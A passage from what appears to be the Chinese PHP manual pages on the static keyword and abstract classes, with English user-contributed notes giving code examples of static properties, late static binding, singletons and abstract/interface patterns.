  $object = isset($backtrace[0]['object']) ? $backtrace[0]['object'] : null;
  $k = 1;

  while (isset($backtrace[$k]) && (!isset($backtrace[$k]['object']) || $object === $backtrace[$k]['object']))
    $k++;

  return isset($backtrace[$k]['object']) ? $backtrace[$k]['object'] : null;
}

class a {

  public $data = 'Empty';

  function set_data () {
    b::set();
  }

}

class b {

  static function set () {
    // $this->data = 'Data from B !';
    // using this in static function throws a warning ...
    caller()->data = 'Data from B !';
  }

}

$a = new a();
$a->set_data();
echo $a->data;

?>

Outputs: Data from B !

No warnings or errors !
barss dot dev at gmail dot com 01-Jul-2008 03:47
Nice trick with scope resolution
<?php
    class A
    {
        public function TestFunc()
        {
            return $this->test;
        }
    }

    class B
    {
        public $test;

        public function __construct()
        {
            $this->test = "Nice trick";
        }

        public function GetTest()
        {
            return A::TestFunc();
        }
    }

    $b = new B;
    echo $b->GetTest();
?>

will output

Nice trick
mongoose643 at gmail dot com 13-Feb-2007 12:11
This is a solution for those that still need to write code compatible with php 4 but would like to use the flexibility of static variables. PHP 4 does not support static variables within the class scope but it does support them within the scope of class methods. The following is a bit of a workaround to store data in static mode in php 4.

Note: This code also works in PHP 5.

(Tested on version 4.3.1+)

The tricky part is when using when arrays you have to do a bit of fancy coding to get or set individual elements in the array. The example code below should show you the basics of it though.

<?php

class StaticSample
{
    //Copyright Michael White (www.crestidg.com) 2007
    //You may use and modify this code but please keep this short copyright notice in tact.
    //If you modify the code you may comment the changes you make and append your own copyright
    //notice to mine. This code is not to be redistributed individually for sale but please use it as part
    //of your projects and applications - free or non-free.

    //Static workaround for php4 - even works with arrays - the trick is accessing the arrays.
    //I used the format s_varname for my methods that employ this workaround. That keeps it
    //similar to working with actual variables as much as possible.
    //The s_ prefix immediately identifies it as a static variable workaround method while
    //I'm looking thorugh my code.
    function &s_foo($value=null, $remove=null)
    {
        static $s_var;    //Declare the static variable.    The name here doesn't matter - only the name of the method matters.

        if($remove)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    foreach($value as $key => $data)
                    {
                        unset($s_var[$key]);
                    }
                }
            }
            else
            {
                //You can't just use unset() here because the static state of the variable will bring back the value next time you call the method.
                $s_var = null;
                unset($s_var);
            }
            //Make sure that you don't set the value over again.
            $value = null;
        }
        if($value)
        {
            if(is_array($value))
            {
                if(is_array($s_var))
                {
                    //$s_var = array_merge($s_var, $value);        //Doesn't overwrite values. This adds them - a property of the array_merge() function.
                    foreach($value as $key => $data)
                    {
                        $s_var[$key] = $data;    //Overwrites values.
                    }
                }
                else
                {
                    $s_var = $value;
                }
            }
            else
            {
                $s_var = $value;
            }
        }

        return $s_var;
    }
}

echo "Working with non-array values.<br>";
echo "Before Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Setting: ".StaticSample::s_foo("VALUE HERE");
echo "<br>";
echo "After Setting: ".StaticSample::s_foo();
echo "<br>";
echo "While Removing: ".StaticSample::s_foo(null, 1);
echo "<br>";
echo "After Removing: ".StaticSample::s_foo();
echo "<hr>";
echo "Working with array values<br>";
$array = array(0=>"cat", 1=>"dog", 2=>"monkey");
echo "Set an array value: ";
print_r(StaticSample::s_foo($array));
echo "<br>";

//Here you need to get all the values in the array then sort through or choose the one(s) you want.
$all_elements = StaticSample::s_foo();
$middle_element = $all_elements[1];
echo "The middle element: ".$middle_element;
echo "<br>";

$changed_array = array(1=>"big dog", 3=>"bat", "bird"=>"flamingo");
echo "Changing the value: ";
print_r(StaticSample::s_foo($changed_array));
echo "<br>";

//All you have to do here is create an array with the keys you want to erase in it.
//If you want to erase all keys then don't pass any array to the method.
$element_to_erase = array(3=>null);
echo "Erasing the fourth element: ";
$elements_left = StaticSample::s_foo($element_to_erase, 1);
print_r($elements_left);
echo "<br>";
echo "Enjoy!";

?>
developit at mail dot ru 27-Jan-2006 03:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
    protected $x = 'A';
    public function f()
    {
        return '['.$this->x.']';
    }
}

class B extends A
{
    protected $x = 'B';
    public function f()
    {
        return '{'.$this->x.'}';
    }
}

class C extends B
{
    protected $x = 'C';
    public function f()
    {
        return '('.$this->x.')'.parent::f().B::f().A::f();
    }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]


静态（static）关键字

Tip

本页说明了用 static 关键字来定义静态方法和属性。static 也可用于定义静态变量， 静态匿名函数 以及后期静态绑定。参见上述页面了解 static 在其中的用法。

声明类属性或方法为静态，就可以不实例化类而直接访问。可以在实例化的类对象中通过静态访问。

静态方法

由于静态方法不需要通过对象即可调用，所以伪变量 $this 在静态方法中不可用。

Warning

用静态方式调用一个非静态方法会抛出 Error。

在 PHP 8.0.0 之前，通过静态方式调用一个非静态方法这种用法已经被废弃，并且会导致一个 E_DEPRECATED 级别的警告。

Example #1 静态方法示例

<?php
class Foo {
public static function aStaticMethod() {
// ...
}
}

Foo::aStaticMethod();
$classname = 'Foo';
$classname::aStaticMethod();
?>

静态属性

静态属性使用 范围解析操作符 （ :: ）访问，不能通过对象操作符（ -> ）访问。

通过变量来引用一个类是可行的，但这个变量的值不能是一个保留字 （例如self，parent和 static）

Example #2 静态属性示例

<?php
class Foo
{
public static $my_static = 'foo';

public function staticValue() {
return self::$my_static;
}
}

class Bar extends Foo
{
public function fooStatic() {
return parent::$my_static;
}
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n"; // 未定义的 "属性" my_static

print $foo::$my_static . "\n";
$classname = 'Foo';
print $classname::$my_static . "\n";

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

以上示例在 PHP 8 中的输出类似于：

foo
foo

Notice: Accessing static property Foo::$my_static as non static in /in/V0Rvv on line 23

Warning: Undefined property: Foo::$my_static in /in/V0Rvv on line 23

foo
foo
foo
foo

User Contributed Notes

admin at shopinson dot com 19-Aug-2020 01:20
I used instantiation to access the access the a static property directly.

A Simple ticky art, you may apply (using object to access static property in a class) with the scope resolution operator
<?php
class Shopinson {
    const MY_CONSTANT = 'the value of MY_CONSTANT ';
}

class Godwin extends Shopinson
{
    public static $myconstant = ' The Paamayim Nekudotayim or double-colon.';
    public function SaySomething(){
        echo parent::MY_CONSTANT .PHP_EOL; // outputs: the value of MY_CONSTANT
        echo self::$myconstant; // outputs: The Paamayim Nekudotayim or double-colon.
    }
}

$my_class = new Godwin();
print $my_class::$myconstant;
$my_class::SaySomething();
echo Godwin::$myconstant;
Godwin::SaySomething();

?>

print $my_class::$myconstant;
fakhar_anwar123 at hotmail dot com 26-Apr-2020 11:21
Asnwer selcted as correct solves problem. There is a valid use case (Design Pattern) where class with static member function needs to call non-static member function and before that this static members should also instantiate singleton using constructor a constructor.

**Case:**
For example, I am implementing Swoole HTTP Request event providing it a call-back as a Class with static member. Static Member does two things; it creates Singleton Object of the class by doing initialization in class constructor, and second this static members does is to call a non-static method 'run()' to handle Request (by bridging with Phalcon). Hence, static class without constructor and non-static call will not work for me.
ASchmidt at Anamera dot net 04-Sep-2018 07:18
It is important to understand the behavior of static properties in the context of class inheritance:

- Static properties defined in both parent and child classes will hold DISTINCT values for each class. Proper use of self:: vs. static:: are crucial inside of child methods to reference the intended static property.

- Static properties defined ONLY in the parent class will share a COMMON value.

<?php
declare(strict_types=1);

class staticparent {
    static    $parent_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromparent';
        static::$both_distinct = 'fromparent';
    }
}

class staticchild extends staticparent {
    static    $child_only;
    static    $both_distinct;

    function __construct() {
        static::$parent_only = 'fromchild';
        static::$both_distinct = 'fromchild';
        static::$child_only = 'fromchild';
    }
}

$a = new staticparent;
$a = new staticchild;

echo 'Parent: parent_only=', staticparent::$parent_only, ', both_distinct=', staticparent::$both_distinct, "<br/>\r\n";
echo 'Child:  parent_only=', staticchild::$parent_only, ', both_distinct=', staticchild::$both_distinct, ', child_only=', staticchild::$child_only, "<br/>\r\n";
?>

will output:
Parent: parent_only=fromchild, both_distinct=fromparent
Child: parent_only=fromchild, both_distinct=fromchild, child_only=fromchild
vinayak dot anivase at gmail dot com 30-Mar-2018 06:38
This is also possible:

class Foo {
  public static $bar = 'a static property';
}

$baz = (new Foo)::$bar;
echo $baz;
artekpuck at gmail dot com 19-Mar-2018 05:36
It is worth mentioning that there is only one value for each static variable that is the same for all instances
b1tchcakes 27-Feb-2016 09:06
<?php

trait t {
  protected $p;
  public function testMe() {echo 'static:'.static::class. ' // self:'.self::class ."\n";}
}

class a { use t; }
class b extends a {}

echo (new a)->testMe();
echo (new b)->testMe();

outputs
static:a // self:t
static:b // self:t
rahul dot anand77 at gmail dot com 13-Nov-2015 10:39
To check if a method declared in a class is static or not, you can us following code. PHP5 has a Reflection Class, which is very helpful.

try {
    $method = new ReflectionMethod( 'className::methodName );
    if ( $method->isStatic() )
    {
        // Method is static.
    }
}
catch ( ReflectionException $e )
{
    //    method does not exist
    echo $e->getMessage();
}

*You can read more about Reflection class on http://php.net/manual/en/class.reflectionclass.php
sideshowAnthony at googlemail dot com 02-Oct-2015 07:44
The static keyword can still be used (in a non-oop way) inside a function. So if you need a value stored with your class, but it is very function specific, you can use this:

class aclass {
    public static function b(){
        static $d=12; // Set to 12 on first function call only
        $d+=12;
        return "$d\n";
    }
}

echo aclass::b(); //24
echo aclass::b(); //36
echo aclass::b(); //48
echo aclass::$d; //fatal error
jkenigso at utk dot edu 22-Dec-2013 12:20
It bears mention that static variables (in the following sense) persist:

<?php
class StaticVars
{
  public static $a=1;
}
$b=new StaticVars;
$c=new StaticVars;

echo $b::$a; //outputs 1
$c::$a=2;
echo $b::$a; //outputs 2!
?>

Note that $c::$a=2 changed the value of $b::$a even though $b and $c are totally different objects.
manishpatel2280 at gmail dot com 19-Nov-2013 02:45
In real world, we can say will use static method when we dont want to create object instance.

e.g ...

validateEmail($email) {
 if(T) return true;
return false;
}

//This makes not much sense
$obj = new Validate();
$result = $obj->validateEmail($email);

//This makes more sense
$result = Validate::validateEmail($email);
Anonymous 24-Oct-2013 01:34
It should be noted that in 'Example #2', you can also call a variably defined static method as follows:

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

$classname = 'Foo';
$methodname = 'aStaticMethod';
$classname::{$methodname}(); // As of PHP 5.3.0 I believe
?>
payal001 at gmail dot com 09-Jul-2011 03:17
Here statically accessed property prefer property of the class for which it is called. Where as self keyword enforces use of current class only. Refer the below example:

<?php
class a{

static protected $test="class a";

public function static_test(){

echo static::$test; // Results class b
echo self::$test; // Results class a

}

}

class b extends a{

static protected $test="class b";

}

$obj = new b();
$obj->static_test();
?>
gratcypalma at gmail dot om 18-Apr-2011 11:50
<?php
class foo {
    private static $getInitial;

    public static function getInitial() {
        if (self::$getInitial == null)
            self::$getInitial = new foo();
        return self::$getInitial;
    }
}

foo::getInitial();

/*
this is the example to use new class with static method..
i hope it help
*/

?>
tolean_dj at yahoo dot com 11-Dec-2010 05:09
Starting with php 5.3 you can get use of new features of static keyword. Here's an example of abstract singleton class:

<?php

abstract class Singleton {

    protected static $_instance = NULL;

    /**
     * Prevent direct object creation
     */
    final private function  __construct() { }

    /**
     * Prevent object cloning
     */
    final private function  __clone() { }

    /**
     * Returns new or existing Singleton instance
     * @return Singleton
     */
    final public static function getInstance(){
        if(null !== static::$_instance){
            return static::$_instance;
        }
        static::$_instance = new static();
        return static::$_instance;
    }

}
?>
Mirco 23-Aug-2010 10:16
The simplest static constructor.

Because php does not have a static constructor and you may want to initialize static class vars, there is one easy way, just call your own function directly after the class definition.

for example.

<?php
function Demonstration()
{
    return 'This is the result of demonstration()';
}

class MyStaticClass
{
    //public static $MyStaticVar = Demonstration(); //!!! FAILS: syntax error
    public static $MyStaticVar = null;

    public static function MyStaticInit()
    {
        //this is the static constructor
        //because in a function, everything is allowed, including initializing using other functions

        self::$MyStaticVar = Demonstration();
    }
} MyStaticClass::MyStaticInit(); //Call the static constructor

echo MyStaticClass::$MyStaticVar;
//This is the result of demonstration()
?>
webmaster at removethis dot weird-webdesign dot de 25-Feb-2010 01:38
On PHP 5.2.x or previous you might run into problems initializing static variables in subclasses due to the lack of late static binding:

<?php
class A {
    protected static $a;

    public static function init($value) { self::$a = $value; }
    public static function getA() { return self::$a; }
}

class B extends A {
    protected static $a; // redefine $a for own use

    // inherit the init() method
    public static function getA() { return self::$a; }
}

B::init('lala');
echo 'A::$a = '.A::getA().'; B::$a = '.B::getA();
?>

This will output:
A::$a = lala; B::$a =

If the init() method looks the same for (almost) all subclasses there should be no need to implement init() in every subclass and by that producing redundant code.

Solution 1:
Turn everything into non-static. BUT: This would produce redundant data on every object of the class.

Solution 2:
Turn static $a on class A into an array, use classnames of subclasses as indeces. By doing so you also don't have to redefine $a for the subclasses and the superclass' $a can be private.

Short example on a DataRecord class without error checking:

<?php
abstract class DataRecord {
    private static $db; // MySQLi-Connection, same for all subclasses
    private static $table = array(); // Array of tables for subclasses

    public static function init($classname, $table, $db = false) {
        if (!($db === false)) self::$db = $db;
        self::$table[$classname] = $table;
    }

    public static function getDB() { return self::$db; }
    public static function getTable($classname) { return self::$table[$classname]; }
}

class UserDataRecord extends DataRecord {
    public static function fetchFromDB() {
        $result = parent::getDB()->query('select * from '.parent::getTable('UserDataRecord').';');

        // and so on ...
        return $result; // An array of UserDataRecord objects
    }
}

$db = new MySQLi(...);
UserDataRecord::init('UserDataRecord', 'users', $db);
$users = UserDataRecord::fetchFromDB();
?>

I hope this helps some people who need to operate on PHP 5.2.x servers for some reason. Late static binding, of course, makes this workaround obsolete.
valentin at balt dot name 26-Jan-2010 07:46
How to implement a one storage place based on static properties.

<?php
class a {

    public function get () {
        echo $this->connect();
    }
}
class b extends a {
    private static $a;

    public function connect() {
        return self::$a = 'b';
    }
}
class c extends a {
    private static $a;

    public function connect() {
        return self::$a = 'c';
    }
}
$b = new b ();
$c = new c ();

$b->get();
$c->get();
?>
Jay Cain 18-Dec-2009 02:45
Regarding the initialization of complex static variables in a class, you can emulate a static constructor by creating a static function named something like init() and calling it immediately after the class definition.

<?php
class Example {
    private static $a = "Hello";
    private static $b;

    public static function init() {
        self::$b = self::$a . " World!";
    }
}
Example::init();
?>
davidn at xnet dot co dot nz 17-Mar-2009 04:56
Static variables are shared between sub classes

<?php
class MyParent {

    protected static $variable;
}

class Child1 extends MyParent {

    function set() {

        self::$variable = 2;
    }
}

class Child2 extends MyParent {

    function show() {

        echo(self::$variable);
    }
}

$c1 = new Child1();
$c1->set();
$c2 = new Child2();
$c2->show(); // prints 2
?>
zerocool at gameinsde dot ru 20-Oct-2008 01:06
Hi, here's my simple Singleton example, i think it can be useful for someone. You can use this pattern to connect to the database for example.

<?php

  class MySingleton
  {
    private static $instance = null;

    private function __construct()
    {
      $this-> name = 'Freddy';

    }

    public static function getInstance()
    {
      if(self::$instance == null)
      {
        print "Object created!<br>";
        self::$instance = new self;

      }

      return self::$instance;

    }

    public function sayHello()
    {
      print "Hello my name is {$this-> name}!<br>";

    }

    public function setName($name)
    {
      $this-> name = $name;

    }

  }

  //

  $objA = MySingleton::getInstance(); // Object created!

  $objA-> sayHello(); // Hello my name is Freddy!

  $objA-> setName("Alex");

  $objA-> sayHello(); // Hello my name is Alex!

  $objB = MySingleton::getInstance();

  $objB-> sayHello(); // Hello my name is Alex!

  $objB-> setName("Bob");

  $objA-> sayHello(); // Hello my name is Bob!

?>
vvikramraj at yahoo dot com 23-Sep-2008 03:24
when attempting to implement a singleton class, one might also want to either
a) disable __clone by making it private
b) bash the user who attempts to clone by defining __clone to throw an exception
Mathijs Vos 23-Aug-2008 03:53
<?php
class foo
{
    public static $myStaticClass;

    public function __construct()
    {
        self::myStaticClass = new bar();
    }
}

class bar
{
        public function __construct(){}
}
?>

Please note, this won't work.
Use self::$myStaticClass = new bar(); instead of self::myStaticClass = new bar(); (note the $ sign).
Took me an hour to figure this out.
inkredibl 28-Jan-2008 12:27
Note that you should read "Variables/Variable scope" if you are looking for static keyword use for declaring static variables inside functions (or methods). I myself had this gap in my PHP knowledge until recently and had to google to find this out. I think this page should have a "See also" link to static function variables.
http://www.php.net/manual/en/language.variables.scope.php
ssj dot narutovash at gmail dot com 01-Jan-2008 08:48
It's come to my attention that you cannot use a static member in an HEREDOC string.  The following code

class A
{
  public static $BLAH = "user";

  function __construct()
  {
    echo <<<EOD
<h1>Hello {self::$BLAH}</h1>
EOD;
  }
}

$blah = new A();

produces this in the source code:

<h1>Hello {self::}</h1>

Solution:

before using a static member, store it in a local variable, like so:

class B
{
  public static $BLAH = "user";

  function __construct()
  {
    $blah = self::$BLAH;
    echo <<<EOD
<h1>Hello {$blah}</h1>
EOD;
  }
}

and the output's source code will be:

<h1>Hello user</h1>
aidan at php dot net 04-May-2005 07:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
    $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 03:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
    $this->a = 0;
    parent::$b = 0;
  }
  public function f()
  {
    $this->a++;
    parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
michalf at ncac dot torun dot pl 31-Mar-2005 02:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
    public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
michael at digitalgnosis dot removethis dot com 15-Dec-2004 11:09
If you are trying to write classes that do this:

<?php

class Base
{
    static function Foo ()
    {
        self::Bar();
    }
}

class Derived extends Base
{
    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
    function Foo ( $class = __CLASS__ )
    {
        call_user_func(array($class,'Bar'));
    }
}

class Derived extends Base
{
    function Foo ( $class = __CLASS__ )
    {
        parent::Foo($class);
    }

    function Bar ()
    {
        echo "Derived::Bar()";
    }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().


抽象类

PHP 有抽象类和抽象方法。定义为抽象的类不能被实例化。任何一个类，如果它里面至少有一个方法是被声明为抽象的，那么这个类就必须被声明为抽象的。被定义为抽象的方法只是声明了其调用方式（参数），不能定义其具体的功能实现。

继承一个抽象类的时候，子类必须定义父类中的所有抽象方法， 并遵循常规的 继承 签名兼容性 规则。

Example #1 抽象类示例

<?php
abstract class AbstractClass
{
// 强制要求子类定义这些方法
abstract protected function getValue();
abstract protected function prefixValue($prefix);

// 普通方法（非抽象方法）
public function printOut() {
print $this->getValue() . "\n";
}
}

class ConcreteClass1 extends AbstractClass
{
protected function getValue() {
return "ConcreteClass1";
}

public function prefixValue($prefix) {
return "{$prefix}ConcreteClass1";
}
}

class ConcreteClass2 extends AbstractClass
{
public function getValue() {
return "ConcreteClass2";
}

public function prefixValue($prefix) {
return "{$prefix}ConcreteClass2";
}
}

$class1 = new ConcreteClass1;
$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

以上示例会输出：

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

Example #2 抽象类示例

<?php
abstract class AbstractClass
{
// 我们的抽象方法仅需要定义需要的参数
abstract protected function prefixName($name);

}

class ConcreteClass extends AbstractClass
{

// 我们的子类可以定义父类签名中不存在的可选参数
public function prefixName($name, $separator = ".") {
if ($name == "Pacman") {
$prefix = "Mr";
} elseif ($name == "Pacwoman") {
$prefix = "Mrs";
} else {
$prefix = "";
}
return "{$prefix}{$separator} {$name}";
}
}

$class = new ConcreteClass;
echo $class->prefixName("Pacman"), "\n";
echo $class->prefixName("Pacwoman"), "\n";
?>

以上示例会输出：

Mr. Pacman
Mrs. Pacwoman

User Contributed Notes

shewa12kpi at gmail dot com 18-May-2021 11:37
<?php
//Here is a good example of abstract class. Here BaseEmployee is not actual employee its just asbtract class that reduce our code and enforce child class to implement abstract method

abstract class BaseEmployee {

    /**
     * employee common attributes could in asbtract class
    */
    public     $firstname,
            $lastname;

    function __construct($fn, $ln){
        $this->firstname = $fn;
        $this->lastname = $ln;
    }

    public function getFullName() {

        return "$this->firstname $this->lastname";
    }

    /**
    * asbtract method that a child class must have to define
    */
    abstract protected static function task();
}

class WebDeveloper extends BaseEmployee {

    static function task()
    {
        return ' Develop web application';
    }
}

class HR extends BaseEmployee {

    static function task()
    {
        return ' Manage human resources';
    }

}
/**
 * now instantiate and get data
*/
$webDeveloper = new WebDeveloper('shaikh','ahmed');
echo $webDeveloper->getFullName();
echo $webDeveloper->task();
shaman_master at list dot ru 03-Oct-2018 11:52
Also you may set return/arguments type declaring for abstract methods (PHP>=7.0)
<?php
declare(strict_types=1);

abstract class Adapter
{
    protected $name;
    abstract public function getName(): string;
    abstract public function setName(string $value);
}

class AdapterFoo extends Adapter
{
    public function getName(): string
    {
        return $this->name;
    }
    // return type declaring not defined in abstract class, set here
    public function setName(string $value): self
    {
        $this->name = $value;
        return $this;
    }
}
?>
swashata4u at gmail dot com 18-Apr-2018 09:06
Here is another thing about abstract class and interface.

Sometimes, we define an interface for a `Factory` and ease out some common methods of the `Factory` through an `abstract` class.

In this case, the abstract class implements the interface, but does not need to implement all methods of the interface.

The simple reason is, any class implementing an interface, needs to either implement all methods, or declare itself abstract.

Because of this, the following code is perfectly ok.

<?php
interface Element {
    /**
     * Constructor function. Must pass existing config, or leave as
     * is for new element, where the default will be used instead.
     *
     * @param array $config Element configuration.
     */
    public function __construct( $config = [] );

    /**
     * Get the definition of the Element.
     *
     * @return array An array with 'title', 'description' and 'type'
     */
    public static function get_definition();

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config();

    /**
     * Set Element config variable.
     *
     * @param array $config New configuration variable.
     *
     * @return void
     */
    public function set_config( $config );
}

abstract class Base implements Element {

    /**
     * Element configuration variable
     *
     * @var array
     */
    protected $config = [];

    /**
     * Get Element config variable.
     *
     * @return array Associative array of Element Config.
     */
    public function get_config() {
        return $this->config;
    }

    /**
     * Create an eForm Element instance
     *
     * @param array $config Element config.
     */
    public function __construct( $config = [] ) {
        $this->set_config( $config );
    }
}

class MyElement extends Base {

    public static function get_definition() {
        return [
            'type' => 'MyElement',
        ];
    }

    public function set_config( $config ) {
        // Do something here
        $this->config = $config;
    }
}

$element = new MyElement( [
    'foo' => 'bar',
] );

print_r( $element->get_config() );
?>

You can see the tests being executed here and PHP 5.4 upward, the output is consistent. https://3v4l.org/8NqqW
jai at shaped dot ca 02-Mar-2017 05:36
This example will hopefully help you see how abstract works, how interfaces work, and how they can work together. This example will also work/compile on PHP7, the others were typed live in the form and may work but the last one was made/tested for real:

<?php

const ? = PHP_EOL;

// Define things a product *has* to be able to do (has to implement)
interface productInterface {
    public function doSell();
    public function doBuy();
}

// Define our default abstraction
abstract class defaultProductAbstraction implements productInterface {
    private $_bought = false;
    private $_sold = false;
    abstract public function doMore();
    public function doSell() {
        /* the default implementation */
        $this->_sold = true;
        echo "defaultProductAbstraction doSell: {$this->_sold}".?;
    }
    public function doBuy() {
        $this->_bought = true;
        echo "defaultProductAbstraction doBuy: {$this->_bought}".?;
    }
}

class defaultProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "defaultProductImplementation doMore()".?;
    }
}

class myProductImplementation extends defaultProductAbstraction {
    public function doMore() {
        echo "myProductImplementation doMore() does more!".?;
    }
    public function doBuy() {
        echo "myProductImplementation's doBuy() and also my parent's dubai()".?;
        parent::doBuy();
    }
}

class myProduct extends defaultProductImplementation {
    private $_bought=true;
    public function __construct() {
        var_dump($this->_bought);
    }
    public function doBuy () {
        /* non-default doBuy implementation */
        $this->_bought = true;
        echo "myProduct overrides the defaultProductImplementation's doBuy() here {$this->_bought}".?;
    }
}

class myOtherProduct extends myProductImplementation {
    public function doBuy() {
        echo "myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too".?;
        parent::doBuy();
    }
}

echo "new myProduct()".?;
$product = new myProduct();

$product->doBuy();
$product->doSell();
$product->doMore();

echo ?."new defaultProductImplementation()".?;

$newProduct = new defaultProductImplementation();
$newProduct->doBuy();
$newProduct->doSell();
$newProduct->doMore();

echo ?."new myProductImplementation".?;
$lastProduct = new myProductImplementation();
$lastProduct->doBuy();
$lastProduct->doSell();
$lastProduct->doMore();

echo ?."new myOtherProduct".?;
$anotherNewProduct = new myOtherProduct();
$anotherNewProduct->doBuy();
$anotherNewProduct->doSell();
$anotherNewProduct->doMore();
?>

Will result in:
<?php
/*
new myProduct()
bool(true)
myProduct overrides the defaultProductImplementation's doBuy() here 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new defaultProductImplementation()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
defaultProductImplementation doMore()

new myProductImplementation
myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

new myOtherProduct
myOtherProduct overrides myProductImplementations doBuy() here but still calls parent too
myProductImplementation's doBuy() and also my parent's dubai()
defaultProductAbstraction doBuy: 1
defaultProductAbstraction doSell: 1
myProductImplementation doMore() does more!

*/
?>
jai at shaped dot ca 02-Mar-2017 05:36
An interface specifies what methods a class must implement, so that anything using that class that expects it to adhere to that interface will work.

eg: I expect any $database to have ->doQuery(), so any class I assign to the database interface should implement the databaseInterface interface which forces implementation of a doQuery method.

<?php
interface dbInterface {
    public function doQuery();
}

class myDB implements dbInterface {
    public function doQuery() {
      /* implementation details here */
    }
}

$myDBObj = new myDB()->doQuery();
?>

An abstract class is similar except that some methods can be predefined. Ones listed as abstract will have to be defined as if the abstract class were an interface.

eg. I expect my $person to be able to ->doWalk(), most people walk fine with two feet, but some people have to hop along :(

<?php
interface PersonInterface() {
    /* every person should walk, or attempt to */
    public function doWalk($place);
    /* every person should be able to age */
    public function doAge();
}

abstract class AveragePerson implements PersonInterface() {
    private $_age = 0;
    public function doAge() {
        $this->_age = $this->_age+1;
    }
    public function doWalk($place) {
        echo "I am going to walk to $place".PHP_EOL;
    }
    /* every person talks differently! */
    abstract function talk($say);
}

class Joe extends AveragePerson {
    public function talk($say) {
       echo "In an Austrailian accent, Joe says: $say".PHP_EOL;
    }
}

class Bob extends AveragePerson {
    public function talk($say) {
        echo "In a Canadian accent, Bob says: $say".PHP_EOL;
    }
    public function doWalk($place) {
        echo "Bob only has one leg and has to hop to $place".PHP_EOL;
    }
}

$people[] = new Bob();
$people[] = new Joe();

foreach ($people as $person) {
    $person->doWalk('over there');
    $person->talk('PHP rules');
}
?>
Eugeny at Kostanay dot KZ 12-Oct-2016 01:46
A snippet of code to help you understand a bit more about properties inside abstract classes:
<?php
abstract class anotherAbsClass
{
    // Define and set a static property
    static $stProp = 'qwerty';        // We can still use it directly by the static way
    // Define and set a protected property
    protected $prProp = 'walrus';
    // It is useless to set any other level of visibility for non-static variables of an abstract class.
    // We cannot access to a private property even inside a declared method of an abstract class because we cannot call that method in the object context.
    // Implementation of a common method
    protected function callMe() {
        echo 'On call: ' . $this->prProp . PHP_EOL;
    }
    // Declaration of some abstract methods
    abstract protected function abc($arg1, $arg2);
    abstract public function getJunk($arg1, $arg2, $arg3, $junkCollector = true);
    // Note: we cannot omit an optional value without getting error if it has already been declared by an abstract class
}

class someChildClass extends anotherAbsClass
{
    function __construct() {
        echo $this->callMe() . PHP_EOL;    // now we get the protected property $prProp inhereted from within the abstract class
    }
    // There must be implementation of the declared functions abc and getJunk below
    protected function abc($val1, $val) {
        // do something
    }
    function getJunk($val1, $val2, $val3, $b = false) {    // optional value is neccessary, because it has been declared above
        // do something
    }
}

echo anotherAbsClass::$stProp;    // qwerty
$objTest = new someChildClass;   // On call: walrus
?>
Malcolm 29-May-2016 01:26
I've found an inconsistency with: Example #2 Abstract class example

If you remove the default value of $separator

<?php
    public function prefixName($name, $separator) {
        // ...
    }
?>

Then php will show this fatal message:
